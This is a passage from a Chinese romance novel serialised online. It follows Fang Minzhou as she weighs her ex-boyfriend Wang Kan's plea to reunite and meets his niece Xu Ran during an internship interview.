这是他记忆以来第一次被外人坚定地维护。 方敏周当他是小孩,他不是,但他又的确像只雏鸟似的,对她产生了情感依恋。 她其实也就比他大十岁而已——不,十岁都不到,可是,一想到她在他这个年纪的时候,他还会被教练训得一把眼泪一把鼻涕,关阳就完全认识到这之间的差距。 他在敏周姐的人生里,只经过短短几个月而已。他再怎么赶,她始终无法平等地看待他。 关阳内心深感挫败,不由得喊道:“姐……” 方敏周应了声,关阳又没了话,她站起来,拖了把椅子到床边。 “……你们是大学的时候认识的吗?”关阳忽然问。 方敏周刚想问他说得谁,反应过来后,选择诚实告知:“我们是高中同学。” 关阳没有声音地“啊”了一声。 他们认识的时候,竟然比他现在还小;他们认识的时间,竟然有十年这么长。 他的黯然显而易见,但目光殷殷,像头趴伏的受伤的小鹿,被这样热烈地注视着,方敏周感到压力,她尽可能地不想伤害他。 “你有没有对我很失望?” “没有。” “你有没有觉得我很丢脸?” “没有。” “你有没有觉得我很幼稚?” “没有。” 一问一答,方敏周用了十足的耐心。 “你觉得我们像不像?” 方敏周笑:“当然不像。” 关阳却有些失落。 “你们会重新在一起吗?” 方敏周怔然,没想到关阳会问这个问题,他真是喝多了,“不会。” “真的吗?” “真的。” “你没有骗我?” “没有。” 也许是得到了心满意足的答案,关阳闭上了眼睛,等了一会,他不再说话,方敏周从椅子上站起来,转身时,听见身后关阳说:“……你骗我。” 声音很轻,因为轻,听起来有些委屈。 方敏周假装自己没有听见地往门口走去,拉开虚掩着的门。 王衎静静地站在门外,端着一杯水。 方敏周呼吸一滞。 飞沙走石、山崩地裂都是一瞬间的事情,突然发生的才是灾难。 他什么时候来的?听到了多少? 他面无表情地把手里的水杯递过来,方敏周默然接过,回到室内,看关阳翻了个身背对着她。方敏周把水杯在床头柜上放下,让他记得喝,再退出房间时,王衎已经不在了。 也不在厨房。 “阳阳怎么样?”外婆问,“小王帮我把蜂蜜水拿过去了啊。” “没什么事,睡一会就好了。” 外婆不免念叨起小孩子不懂事,又问方敏周要不要再吃点,方敏周说不用,帮外婆一起收拾碗筷。 直到傍晚吃饭,方敏周才再看到王衎。 关阳人还是晕的,外婆另外给他熬了粥,又张罗着给王衎带点什么回去。外公还想再喝酒,被外婆勒令禁止,一顿饭吃得平静。 这份平静一直延续到饭后,方敏周开车送王衎去车站。一路上,没人说话,也没放音乐,只有导航的女声时不时响起。 方敏周始终望着前方,即使遇上红灯,手也是放在方向盘上。 她开车很谨慎,驾龄上来了依旧如此。 大学和王衎旅游的时候他们租车,轮流着开,但她开的时候,王衎老是嫌她慢,她则很不屑男生一打篮球就自喻灌篮高手、一开车就妄比秋名山车神的毛病,两人在音乐声中斗嘴,王衎还美名其曰是陪聊提神。 发现自己又有沉溺往事的趋势,方敏周调高了导航的音量。 今天路况还好,但一路红灯,让人免不了有些焦躁。红灯悬在深蓝的夜空中,无声地倒计时着。 长辈总怕他们误点,催促着“你等车车不等你”之类的话,所以他们很早就出发了,等到了车站,距离王衎的车次开车还有半个小时。没感觉到旁边人的动静,方敏周这才扭头看去——王衎居然歪着脖子睡着了。 方敏周有被吓到,意外至极,以至于一下午隐隐的不安都在这一瞬间荡然无存,可在确认王衎是真的睡着且眉头微皱时,她反而变得有些无所适从。 犹豫着,方敏周把车往前开了开,停在一棵树下,关了车灯,车子被一小片树影笼罩。 再看了下时间,她打算如果十分钟后王衎还没醒,她再叫他。车站小,检票很快,来得及。 就是车内变得更加安静了,静得她能听见王衎的呼吸声。方敏周又看了眼王衎,然后把目光移到自己这边的窗外。双溪镇真的很小,车站附近人流稀疏,灯光寥寥。 她强迫自己不去看王衎,但他皱着的眉眼却挥之不去。她不记得他曾这样愁眉不展过,相反,他睡觉的时候很乖,乖到能用“恬静”形容,长长的睫毛垂着,她还好奇地试图数过根数。 是做了噩梦?最近太累压力太大?还是车里睡觉不舒服? 方敏周没忍住又看向王衎。 这么多天来,好像是第一次离得这么近,最主要的是可以肆无忌惮地观察。 他风吹日晒地跑来跑去,皮肤状态倒还好,黑了点,睫毛还是长长的,就是眼底确实有一片不明显的青色,嘴唇颜色也还算红润。 所以到底为什么皱眉? 突然,王衎的手机响了,方敏周浑身一震,整个人僵住,立刻板住脸,却见王衎挣了挣,眉头皱得更紧,竟然没有醒来。 铃声停下,方敏周怀疑王衎是被梦魇住了,不由得轻轻推了推他,他这才朦朦胧地半睁开眼,认出她,从有些茫然的惊惶中放松下来,又闭上眼睛,带着笑地自然地抓住了她的手,声音还有点低哑但语气亲昵地说:“到了?” 方敏周愣住。 下一秒,王衎脸色一变,慢慢地,重新睁开眼睛,但笑意顿无,像是此刻才完全清醒了,也变成了另一个人,滑稽到方敏周都不用担心自己有无破绽。 她把自己的手抽了回来。 半晌无言,方敏周稳住情绪后,正要请王衎下车,他的电话又响了。响了好几声,他才有所反应,却是直接在车里接通,“喂,妈。” 方敏周:“……” 电话那头,王衎妈妈说了很长的话,王衎不声不响地听着,末了回了句:“不用了。” 方敏周听不清阿姨说了什么,但王衎的态度大抵激怒了她,手机里漏出的声音变大,王衎又说:“我现在刚准备回江城。” “我在双溪。” “乘动车,没开车这次。” “方敏周送我到车站。” 方敏周本人以为自己听错了。 “对,方敏周。” 自始自终,王衎都没有看她一眼,他说再多惊世骇俗的话都不用考虑当事人在场。方敏周准备自己先下车了,王衎又收起了手机。 车内空调冰凉,气氛起了雾。 和王衎在一起后,方敏周见过他的父母,也又见过他的表姐,他们都对她很好,但分手后,自然断了联系。 “下车吧,路上小心。”她说。 王衎迟迟没有动作,方敏周呼吸越来越紧,又要催促,听见他说:“是的,我是想和你复合,你没有误会。” 方敏周的心重重坠落一寸。 他那时候含糊其辞,她心里略有嘲讽,但真的听到答案,却也不高兴,每次在她屡屡下定决心后,他就又来动摇她。 王衎像法官宣判结果一般,没什么波澜地继续说道:“我妈刚才打电话过来是想拉我吃饭,说白了就是相亲,我拒绝了,包括这几年我也没有认识新的人,很忙是一点,也没什么想法,我说这话不是指责你的意思,毕竟是我说的分手,你有新的开始是应该的。” 方敏周扯了扯笑,还真以为王衎要多开诚布公,结果又在说反话,“你应该去认识下新的朋友。” “朋友,朋友……”王衎咬牙切齿地笑了笑,目光紧盯,“方敏周,你让我不要说故意激怒人的话,你呢,你狠话说够了吗?说什么分手你也有责任,你明明恨死我提分手了吧?要不我干脆让你捅两刀算了,怎么样?这样够解气吗?” 王衎的怒火先是让方敏周愣了愣,听明白后,被他气得发笑,这是求复合的态度?简直匪夷所思! “下车。”她冷声道。 “我会滚的,不用急。”王衎回敬,“我几乎每周都要来一趟双溪,你应该也不会觉得我是只为了工作吧?不过等下个月活动办公,谷仓也弄好了,我也没理由来了。你看到了,我依旧很幼稚,也没多大本事,不过总比没有定数的毛头小子稳定一些——哦,我指以前的我自己。” 方敏周刚要说话,又被王衎打断,“但这是我最后一次问你,如果你还是拒绝……”他顿了顿,冷峻的脸上浮上一种复杂的神色,很快沉下,嘴角微动,“我不会再死缠烂打着你不放了,所以我建议你谨慎回答。”—— 作者有话说:周末有事,存稿没能改完,请假两天[摆手] 第75章 第 75 章 车站的红色隶体大字…… 车站的红色隶体大字在黑夜中矗立发光。 方敏周不合时宜地想王衎得去检票了, 另一方面,她被王衎的威胁搞得大为光火,他把自己变成了一件商品, 招摇着喊着“最后一件”, 以激发人对稀缺资源的本能渴求。 方敏周望着引擎盖上落下的树影, “我拒绝。” 这三个字吐出口, 她感觉自己心都在颤抖。言不由衷的时候, 心就像是在走刀尖,但她必须要说,计较也罢报复也罢, 而在王衎冷笑着问她“这个时候还说气话有意思吗”后,方敏周或许应该羞惭, 但她确实感到了一丝放松——既然王衎也说到没做到,他说的又有几句真话。 “你真搞笑。”方敏周说, “我拒绝, 你说我说气话, 那你的意思是, 我就只有答应的份?” “我忘了, 你不吃激将法这一套, 我应该说,如果你还有一点喜欢我的话,给个机会, 我们再试试——行,现在你又不说话了, 这个问题有这么难回答吗?方敏周,承认你对我还有感觉很丢脸吗?” 良久,方敏周回:“你醉了。” 尽管他身上几乎已经闻不出酒味。 王衎不反驳:“嗯。” 方敏周忽然笑了笑, “听说真的醉了的人都会说自己没醉。” “你听谁说的?” “我见过喝醉的人不是你这样。” “那是因为你没见过我喝醉,我醉了就这样。” “哦。”方敏周应了声,“我确实没见过,你什么时候还经常喝醉了?” “烂醉好几年。” 他又胡说八道起来,方敏周掰扯不下去了,“分都分了" 王衎不屑地轻笑,“你以前刨根问底的精神呢?反正都还单身,虽然我也不敢说我现在能做到多好,但总比其他不认识的人了解你,以前做错的地方正好重新改过。” 说得轻巧。 说得深情。 “你在怕什么?” 王衎的追问让方敏周有些喘不上气,好像全身皮肤都被透明胶带捆住了一般,情绪变成一锅无法沸腾的水。 王衎等了又等,等到后来,好像闭着眼睛在走路一样,即使知道没有危险,却也怕起来。 他打开车门,“你考虑下吧,下次见面的时候,再告诉我。” 他落荒而逃。 一些事,事赶事,一些话,话赶着话。 明明这趟来之前就抱着求和的想法,却总是说着说着,变成了违心的话。 听见方敏周同关阳说不会再和他在一起时,他真的伤了心,毕竟这总不会还是假话,但车上颠簸的一个梦,还是让他断不了念想。 他憋了口气潜入深海试图与方敏周较量,她是无忧无虑、自由自在的鱼,绕着他、绕过他。他认输了,所以也无所谓了。干脆吐出所有氧气沉入海底,落得一身轻松。 但接下来几天没有哪天睡得安稳,甚至不比在方敏周车上那半个小时。睡不着的时候就工作,就像他们刚分手那一两年一样。 周五下午彻底无事可做,从高速运转的状态停下来,王衎脑海里反而只剩下一件事:整整一周,方敏周一点消息都没有——不止这一周,她一直不曾主动联系过他。 落地窗外的阳光愈灿烂,王衎内心不好的预感愈强,仿若有一只乌鸦在他头顶盘桓啼叫, 妈妈打来电话,问他生日要怎么过,在江城还是回樟城,他说还不知道,到时候再看,妈妈含糊着,才提到方敏周。 这几年,他长大了,接管了家里的生意,爸妈变老了,又经历过生死的关卡,各人的性格想法以及家里的权势气氛都发生了微妙的变化。 以前他明确地和爸妈表示过他不会管家里的事,他对做生意没兴趣,在方敏周面前说着大不了啃老,一是玩笑,二是不想让她担心他们的未来。 现在想来也是好笑,觉得家里的钱就是他的底气,却一味地索取而不愿意承担责任。 他爸好像也这么骂过他,扬言一分钱都不给他看他怎么办,他总是拿这套说辞恐吓他。那时候他们特别是他爸,指望着他毕业后就回家,但在他真的回家后,却觉得“拖累”了他。 和方敏周分手的原因,他和爸妈说是因为感情淡了,加上两个人规划不同,他们半信半疑,但他没办法装得更像了。真正的原因是什么,他自己也说不明白,他只是特别强调过,方敏周不知道家里的事。 她知道的话,只要他不提分手,大概率就是这么异国下去,但何去何从,那个时候的他,真的没了信心和勇气。 短暂地重拾过一次,在方敏周出国后的一天,他看到国外的新闻,忽然深刻地意识到,彼时的方敏周已经到了另一个国度,要乘十几个小时的飞机,远超于北城和江城的距离。 只有她一个人。 异国他乡,很快又是她的生日。 他买了机票,把工作和应酬都挤在一起,终于在最忙的十二月空出来几天时间。深夜的飞机,早早收拾好了行李就在脚边,却在沙发上干坐到夜幕降临,再是黎明。 他问方敏周害怕什么,但其实,他知道也经历过,他明白她所有的犹豫。 王衎拿了车钥匙走出办公室。 迎面遇到端着咖啡的贺温纶,“去哪?” “双溪。” “又去?”贺温纶惊讶,“你这跑得也太勤了吧?” “还好。” 贺温纶刚要张口,忽然想到了什么似的,多看了他两眼,王衎任他打量。 “你这小心疲劳驾驶啊……” 王衎扯嘴角一笑,语气不咸不淡:“你咒我呢?” “哪能啊?你想什么呢?”贺温纶说完,再一次意味深长地拍了拍王衎的肩膀。 回到自己的桌前,转了一圈椅子,贺温纶死活想不起来方敏周是哪里人。印象里是樟城的,她外公外婆又在双溪,但无法断定,朋友圈也看不出踪迹,最新一条是招实习生,也不知道招到没有。 王衎和方敏周……贺温纶被自己的猜测刺激得心痒难耐,最次也得是郎有情而妾无意,不然王衎这一趟趟跑得是看望老人吗?不过真没想到,王衎年纪也不小了,追起人来还这么黏糊,比他真诚多了——怪不得最近对他都没有什么好脸色,但这也不是他的错嘛,还好没有发生什么。 无处求证,贺温纶心血来潮打开网页搜索方敏周的名字,真让他搜到她在大学的一些记录。灵光一闪,贺温纶又在“方敏周”之后加了个“樟城”,搜索结果第一页有一条来自樟城一中的校园新闻。 某届艺术节表彰名单中——硬笔书法优秀奖:高一八班方敏周。 贺温纶骂了句粗口。 手下飞速滑动页面,几眼扫过,抓住了另一个熟悉的名字。 十佳歌手之一:高一九班王衎。 贺温纶手肘撑桌,一把薅住自己的头发,即使真的被他猜中了,此刻竟然是惊大过喜。 不对不对,他反应过来,这不能说明什么。 校园历史新闻太多,翻了几条毫无收获后,贺温纶找去了樟城一中的贴吧。 ——盯着电脑屏幕上的班级合唱比赛合照,贺温纶目瞪口呆,万千感慨堵在喉咙。 惊也没有了,他觉得自己蠢毙了。 想到自己还说要帮王衎介绍,贺温纶有点想打开窗户跳了——可转念一想,王衎怎么回事?是故意看他笑话,还是气他气到不行了?好歹也是朋友,总不至于要杀他。 所以,接下来他应该装作知道还是不知道? 但消化过后,此时此刻,贺温纶最想要赶去双溪镇看热闹。 看看时间,王衎应该还在路上。不管他和方敏周之间到底有何渊源,看王衎如此“三顾茅庐”,贺温纶幸灾乐祸地认定事情进展一定很不顺畅。 的确很不顺畅,王衎扑了个空。 张阿婆讶异他的到来,匆匆招待,以为他又是来帮忙的,自然没有主动提起方敏周,而当王衎坐下吃饭顺便想找个话题问起时,张外婆被被其他客人叫了过去,最后,关阳把面碗在他桌上重重一放,“我姐不在。” 王衎不作声,抽出筷子。 “她这周都不在。”关阳阴阳怪气地补充,大有让他赶快滚蛋的意思。 王衎心情不佳,更受够了被一个小男生接二连三地挑衅,最可悲的是他还真的为此产生了危机感——他平静冷淡地回:“我知道。” 关阳显然不信,“你知道?那你还……” “我是来工作的,倒是你,”王衎说,“该收拾收拾准备考试了吧?“ 关阳脸上青红交加,看起来恨不得吐一口口水到他的面里。王衎视若无睹地夹起面条,待关阳恨恨离开后,才搁下筷子。 没什么胃口。 过了会,王衎重新拿起了筷子,很快把面吃完,再自己把面碗洗了。 张阿婆刚好回到厨房,“哎哟,碗放那里就行。” “没事。” “那不行,你是客人,哪有让客人洗碗的,味道还可以吗?” “很好吃。” “好吃就好吃,下次碗放着我们来洗就好了,那要不要来点西瓜?” “不用了阿婆,我出去打个电话。” “好好。” 王衎走到后院,拨通了方敏周的电话。 第一次,没人接。 欧阳茜见方敏周的手机第二次亮起,“骚扰电话?” 是也不是,方敏周说:“王衎的。” 欧阳茜舀羹汤的动作微微一顿,但还是流畅地给彼此都盛好汤,面色比刚才舀过的汤面还平静:“我现在应该做出什么表情?惊讶的,还是愤怒的?” 方敏周被逗笑,与此同时屏幕熄灭,她的笑又淡淡收起来。 下一秒,王衎再一次打来电话。这一次,方敏周接通了。 既已挑明,方敏周也不想躲着欧阳茜,显得他们真有什么事情一样,“……喂。” 电话那头王衎顿了顿,“你没事吧?” 方敏周一愣,她能有什么事?“没事。” 倒是他,连环call……她隐约猜到了原因,但没想到他的反应这么大。 可他也没说什么时候来。 电话那头王衎没了话。 沉默间,方敏周突然想起来,大学的时候有一回她因为开会没接到王衎的电话,他很是生气过,两个人因此又吵了架。 王衎停顿的时间太久,久到欧阳茜都看了过来,方敏周等待着,等来他一句不冷不淡的质问:“所以你是故意不接我电话?” 方敏周面对王衎的心情就像玩积木游戏,抽出一块愧疚、叠加一块愤怒,摇摇欲坠,却又成份复杂,“我在吃饭。” “在哪?” “江城。” 王衎被气笑了。 江城? 他开了一个半小时的车跑来双溪找她,她去江城却都不和他说一声? “方敏周……”他喊她名字,但抱怨的话到了嘴边却没有资格,王衎放松咬紧的牙关,低了声音,“你什么时候回来?” 方敏周还没回答,他换了个问法:“你要在江城待多久?” “还不知道,我有事。“ 夜风溽热,王衎无声地深呼吸了一口气,不想追究方敏周是否说谎,扯了扯嘴角,“你这么不想见我,我可以理解为是拒绝的意思吗?” 半晌,方敏周说:“我还没想好。“ 他还能说什么? “好,你慢慢想。” 方敏周把手机收进了包里。 欧阳茜眨眨眼睛:“现在我是真的好奇了,你们这是什么情况?” 方敏周吃了块水晶糕,用甜的食物把心口的难受压下去,很想简单地把事情概过,却不知不觉间越说越长。 这周她来江城和金莹参观江城的创业中心,报了名,下周四评审路演,中间她确实有时间回双溪一趟,但今天约了欧阳茜吃饭,金莹又约了客户下周见面,周三晚上还有个创业沙龙,方敏周自然而然地在江城滞留了。 也许这是一种逃跑,因为她真的还没有想清楚。 她还是方敏周,他还是王衎,欧阳茜也还是欧阳茜。诚然,他们经历了更多事、认识了更多人,失去了一些东西,也得到了一些东西——一切,可以称之为成长,可是春去秋来,年轮再增长,还是同一棵树。 撕开久别重逢的保护膜后,他们还是原来的自己。 方敏周害怕重蹈覆辙。 因为她始终记得分手当晚在烤肉店边吃边哭的自己,她很心疼二十二岁的方敏周,她不想再伤害她。 第76章 第 76 章 盖棺定论要等人死后…… 盖棺定论要等人死后, 经由他人客观评价,一般人轮不上,方敏周也还没死, 所以这几年, 她顶多更认识了一点世界, 更认识了一点自己。 有些大道理经不起推敲。 比如读书的时候, 爸爸经常教育她“只和自己比”。他说这句话有他的用心良苦之处, 可一个“比”字,还是不可免俗把她架于比较的坐标轴,那个时候她还没有意识到这是不对的。 而评价既然是由外界构成, 向内求只会看倒一片空荡,可年少时的自己又虚荣地顶着从容自洽的枷锁, 所以她曾经那么在意自己的不足。 她很容易发现别人的优点,由此产生的比较, 又会用伪善的言论克制, 实际上, 她嫉妒过很多人, 甚至包括元月, 只有对欧阳茜, 方敏周少有的始终怀有一丝钦佩,大概是因为欧阳茜的泼辣干脆和离经叛道是她喜欢欣赏的特质,但她没想过成为欧阳茜。 方敏周不常和欧阳茜聊情感问题, 不想欧阳茜觉得矫情。欧阳茜反而时不时会同她分享,直接粗暴, 从不闪烁其辞。 但她要说,欧阳茜也不会嘲笑她。 “要不是看你还会接他的电话,你看我现在是什么表情。”欧阳茜幽幽地说。 方敏周只有笑。 大四毕业季, 她在和欧阳茜聊天的时候,才告诉欧阳茜,她和王衎分手了。 那时她趋于一种镇痛后的镇静中,而欧阳茜在得知是王衎提的分手后,先是惊讶再是十足恼火,方敏周都担心她要去找王衎算账,要到欧阳茜再三保证不会后,才半信半疑地放下心。 欧阳茜以为是王衎变心了,她解释说不是。她有自己的猜测,如今看来,确实八九不离十。 一株植物,环境适宜时生长,环境恶劣时枯萎,感情在日复一日的考验中,有的积水成渊,有的水滴石穿。 只是那时候,虽然她知道王衎没有变心,却也以为他对她的喜欢变淡了,如轮船触礁了一般,沉船是无法逃脱的命运,不然他不会要分开——可即使现在知道当初的他有在赌气,可过去这么多年,她也无法再回到初恋时百分百信任他的状态了,无论是重量还是纯度。 这样的复合,会是王衎想要的吗? 他把她想得太无欲无求了,她并没有他以为的那么勇敢。他对她可能也有同样的担忧,所以才会百般试探她,因为他从以前就觉得她没有那么喜欢他,而她一直觉得很冤枉。 面对欧阳茜,方敏周说她想等忙过这段时间再说,她的拖延,欧阳茜没有异议。欧阳茜一向我行我素,不从别人口中寻求认可,也不给别人建议。 方敏周大学想要转专业、计划出国再到准备回国,包括后来的offer选择,欧阳茜从来只是听,没有多余的话,完全地支持她。 方敏周的爸妈和其他朋友,以及尚为男友时的王衎当然也支持她,但或多或少都会有些担忧,也会给出自己的想法,而欧阳茜不参与,她和方敏周说过,她是觉得,每个人在面对选择时,内心其实早已都有倾向。一个人或许会不太了解自己,但最了解自己的人,又一定会是自己。 虽然她也说,是她懒且冷漠,并不愿意为他人的人生负责,“选对了还好,万一选错了,反过来怪我怎么办?” 方敏周学不会她的幽默。 “不过呢,也别考虑太久了。”欧阳茜补了一句,因为她觉得方敏周考虑得越是慎重,就说明她把王衎看得越是重要,这并不是她想看到的。 方敏周不置可否,“要是真的重新再在一起,我可能也不会像以前一样那么喜欢他了。” 说完,她发现欧阳茜用一种类似怜惜的目光含着笑望着她。方敏周心里发毛,让她有话就说。 欧阳茜说,每个人表达感情的方式和想法都不一样,“爱一个人才会担心自己喜欢的不够,明明做了很多,还觉得自己没有付出。” 方敏周心一惊,嘴上还是调侃:“你这话把我给吓到了。” 欧阳茜打趣一笑:“因为你喜欢上王衎了,所以高中的时候才会给他补课啊,要不然你管他死活。” 方敏周:“……” 她想辩白几句,欧阳茜又说:“所以我对是他提分手这件事情很生气,现在也生气,不是因为我们是朋友我护短,我也知道王衎多喜欢你,但他提分手,我就觉得是他辜负了你的感情……你不会就要哭了吧?” “哪有。”方敏周笑,她眼睛干得要命。 欧阳茜也笑了,“不过我想他自己应该也很后悔吧。” 欧阳茜说自己不是护短,实际上她是,方敏周觉得自己并没有欧阳茜所说的那么好,这并不是她妄自菲薄,只是如果她真的有那么好,她更加无法解释她和王衎为何会走散。 一顿饭吃到最后,她有些释然也有些惆怅。任何问题都没有解决,只有情绪在酒意下被无限地放大,大到整个人都飘向虚幻的太空。第二天阳光普照大地时,她揉着头苏醒。 昨晚金莹和她的朋友聚到更晚才回酒店,方敏周洗漱完,点了两杯咖啡,自己喝了其中一杯强制开机,开始撰写项目书的框架。 金莹午饭点醒来后直呼她是神仙。 整个周末,两个人都窝在酒店里工作,除了准备项目书外,时隔许久见面,把这几个月工作室业务运转上的一些问题都仔细疏通整理了一遍,最大的问题还是在业务的扩大上,需要挖掘并维护更多的客户。 繁忙中,方敏周偶尔会想起王衎。 周日晚上她和外婆通视频,外婆坐在院子里纳凉,祖孙俩如同平日般聊着天,老人家的话题围绕着吃穿住行,关心方敏周在江城热不热,问她晚上吃什么,又问她什么时候回来,方敏周一一回答。 准备挂断视频的时候,方敏周听到背景音里外公和王衎的声音。听起来,他们像是刚从外面回来。外婆出了界面,叫道:“敏周的电话啦!” 屏幕晃动,出现外公的脸,“晚饭吃了没啊?” 外婆在屏幕外抢答:“吃了吃了,这都几点了。” 方敏周也笑着再说了一遍:“吃了。” 外公拉长音:“哦,吃了就好。” 王衎的声音不再出现,他本人也没有出现在屏幕中,方敏周松了口气。 可挂了电话很久后,方敏周发现自己的心跳得飞快。 周四上午,项目评审顺利结束,事后项目负责人给她们发消息,称赞她们的项目书做得很好,不出意外的话问题不大,方敏周和金莹放下重担。下午,方敏周陪金莹面试新的实习生。 金莹之前的实习生转了兼职,她另外想要招一个,虽然是名不经传的初创团队,但因为酬劳不错加上时间自由,还是收到了不少优质简历。 本来谁要用人谁直接拍板就行,但这次两个人既然刚好在一起,金莹便拉上了方敏周,方敏周想旁听,金莹看不得她清闲,把简历转发给方敏周,让她务必问两个问题。 三点半的面试,方敏周午睡醒来后工作到三点二十,简单整理下仪容,预留了几分钟看简历,而在看到简历的那一刻,她很想找个借口离开。 “面试官你好,我是徐冉,目前就读于江城大学传媒专业……”电脑屏幕三个小窗,其中一个窗口,长大了的徐冉落落大方地在做自我介绍。 据她本人所说,是其他人转发了她们的招聘海报,而她本人对创业项目很有兴趣,所以想来试试。 方敏周上一次见到徐冉在大三的暑假尾巴,她记得那天她和王衎约会,顺便请刚上完游泳课的徐冉吃饭。游泳馆附近有一个麦当劳甜品站,甜筒第二个半价,王衎买了两个,她和徐冉一人一个。 那时的初中生徐冉已经看懂了她和王衎的关系,默不作声,舔着冰淇凌自以为没被发现地直偷偷打量他们,弄得方敏周很不好意思。 十岁到二十岁的成长剧烈快速,二十岁到三十岁的成长温和缓慢。 方敏周不确定徐冉有没有认出她,她如果没有提前看到简历多了冷却时间,突然这么一照面,真不一定能够对号入座,而她在加入会议时,心虚地故意用了英文名,结果金莹在问完问题后喊她,直接暴露了她的真实身份,“敏周,你有什么问题要问的吗?” 方敏周面不改色地介绍了下自己负责的内容,让徐冉聊聊她想要在实习中收获哪些创业方向的经验。 听徐冉略有磕绊地组织语言,方敏周一边记录一边想到一句老话:我吃过的盐比你吃过的饭还多。 她碾压式的冷静,使她越发能看出徐冉的紧张。 女孩在听到她名字时的眼睛,瞪得比屏幕刚开启时更大。尽管她立刻垂眼掩饰,回答完问题后还是不禁流露出懊悔的神情,而之前徐冉应答金莹时的表现很不错,口条流利且言之有物。 到了反问环节。 脸颊微红的徐冉张了张嘴,眼神微偏,问了一个需要由金莹回答的问题。 方敏周在心里叹了口气。 第77章 第 77 章 毕业季是分手季。 …… 毕业季是分手季。 大四那年, 先是保研成功的罗佳和毕业要回家乡的男友和平分了手,按罗佳的话来说,因为不出意外, 所以没太多伤悲, 但之后吃饭喝了点酒后, 她还是掉了几滴眼泪。 其实也不全因为爱情。 大一入学时的盛夏骄阳, 过了四年, 不再直射在他们这批学子身上。 后来方敏周也分手了,她的眼泪在回到学校前流了个干净,便也能装做没事人。 她或许也早有预感。 室友们感慨惋惜的同时也安慰她, 毕竟毕业季是分手季,逃不掉魔咒不稀奇。再骂几句男人出气, 互相鼓励彼此、重振士气,以辞旧迎新的心态迎接人生的下一个阶段。 面试结束, 金莹对徐冉评价不错, 觉得小女孩人很机灵, 性格也聊得来, 且学校就在江城, 虽然这份实习可以线上, 但万一有什么事,还是同城来的方便。 方敏周无法客观持以反对意见,因为徐冉确实优秀。三岁看大, 七岁看老,九岁看什么?总之比她舅舅二十岁的时候强, 她大一大二的时候也还懵懵懂懂的,但她也不能说:这是她前男友的外甥女。 方敏周不确定金莹还记不记得王衎,但法律的职场回避制度不适用于她们公司。 “不过我怎么觉得……她还挺怕你的?”金莹琢磨。 方敏周:“有吗?” “有点, 估计是你没表情的时候脸太臭了,压力面呢?诶,这样笑一下好多了。” 金莹问她的想法,方敏周不说,“之前的实习生面试我也没参加,还是你自己决定吧。” “那你干嘛还参加面试?” “不是你硬拉我的吗?” “也是。” 徐冉通过金莹加她的好友,方敏周不意外。 她先于徐冉发去消息,问她什么时候有空,想请她吃饭。徐冉先发来感叹号,说有空的,再是一个可爱小猫咪的表情包。 还没开学,但因为要来看演唱会,徐冉这几天刚好在江城, 她们干脆约了第二天的晚饭,线下见到面,徐冉有些腼腆,还是像以前一样喊她姐姐。方敏周讶异徐冉又长高了不少,尽管她知道,她已经长大了,但此时此刻,才像是站在了时间的量尺边。岁月流转,刻痕斑驳,仍然轻易可辨。 人与人之间的隔阂有时很厚,有时又会在互相接收到对方友好信号的瞬间被轧倒。餐厅的菜品味道不错,几道菜后,徐冉的话就多了起来,依稀可见小时候古灵精怪的模样。 “姐姐,”徐冉义正言辞地要声明一件事,“我找你不是为了面试,没有过也没事,我只是觉得好巧,所以才问莹莹姐姐要了你的微信。” “我知道。”方敏周说,“我也没有参与面试最后的评估。” “好的好的。”徐冉也舒了口气,又说道,“我一开始还以为我认错人了呢,但后来越看越眼熟……我本来也很犹豫要不要找你的,感觉不太好,但是……” 她欲言又止,方敏周心想真为难她了,“不会啊,我跟你舅舅分手之后,我其实也想过,可能再也见不到你了,我记得你还说过要来北城找我玩。” 虽然她舅舅确实一个避不开的话题,但敏周姐姐主动提及,徐冉心里还是不免咯噔一下。 她摸了摸鼻子,有点不好意思,“其实我初中毕业的时候还想去北城找你玩的……本来大学也想去北城的,可惜还是来了江城。” 方敏周笑了笑,“后来你去过北城了吗?” “嗯,去过,和我朋友。” “好玩吗?” “挺好玩的。” “那就很好了,以后你还想去的话,可以叫上我,我们再去。”方敏周说,“在江城读书也很好,最重要的是,你现在就找到了自己感兴趣的事情。” 徐冉的脸热起来。 她记得敏周姐姐以前也经常这样柔声表扬鼓励过她,即使那时候她具体说了什么她已经忘了。 就像敏周姐姐说的,她也没想到她们会再见面。 中考完的暑假漫长得如同白昼,有一次她问舅舅,敏周姐姐呢,想找敏周姐姐玩,结果被当时舅舅的表情吓了一跳。后来才知道,他们分手了。 她问过原因,他态度很不好地说她小孩子乱管闲事,她也同他生了气。 她妈妈反过来让她别计较,说他心情不好,至于分手,是因为两个人对未来的规划不一样,等她长大了就懂了。妈妈和爸爸离婚的时候,她也追问过原因,妈妈的落点也是她长大后就明白了。 那到底是什么时候? 但她也有了点歉意,因为那段时间外公生病,她知道舅舅很忙也很难过。 她和敏周姐姐之间其实并未有多么深厚的情谊,那些年也只是偶尔假期见个面,太久不见,回忆里她的模样也已日趋模糊,可是随着她的成长,印象却越来越深刻。 她时不时会想起她,特别是在她情窦初开的那阵,想起亲眼目睹过的她和舅舅相处的片段,有些事情后知后觉: 坐在麦当劳里,舅舅老是偷瞄她,她拨过一缕碎发挡住红红的耳朵,若无其事地继续给她讲题;科技馆星空展厅里她给他们拍照,两个比她大的人别扭又矜持,舅舅还幼稚地偷偷比划手势……徐冉有怀疑过自己的记忆是否出现了差错,但之后就在舅舅的手机里无意间看到了这组照片,是她所记得的模样。 还有一次,他们去游乐园玩。排队进鬼屋时她走在前头,心里害怕,回头找人,看见敏周姐姐慌里慌张地把舅舅的手甩了开,舅舅一脸不爽地重新拉住,敏周姐姐瞪舅舅,舅舅瞪她,她也莫名不害怕了,转过头继续往前走。 后来她想,可能因为自她记事起,妈妈和爸爸就是朋友的相处,舅舅和敏周姐姐,无意间填补了她对亲密关系某种认识的空白。 此外,在她懵懂的青春期前奏曲里,敏周姐姐又扮演了一个特别的角色。 尽管她和妈妈的感情很好,和舅舅关系也很好,家族里其他的哥哥姐姐们也很照顾她,但敏周姐姐不一样——本质上,她和她毫无关系,她更像一个比她大一点的朋友,始终比她多走一段路,她们之间有更多同频的感受。 小学的时候,她以为高中的自己就是敏周姐姐这样,也因为她,她开始想象未来也去北城读书,现在再见面,她又正好创业,问什么,她都能答,似乎又为她的未来提供了一个参考,让徐冉颇有些遗憾在压力最大的高中没有机会和她好好聊聊天。 她舅舅那几年偶尔嘴贱、经常沉默,顶多把他还保存着的书和笔记借给她。她在上面看到过另一个人的字迹,清秀而端正,她一直怀疑是敏周姐姐的。 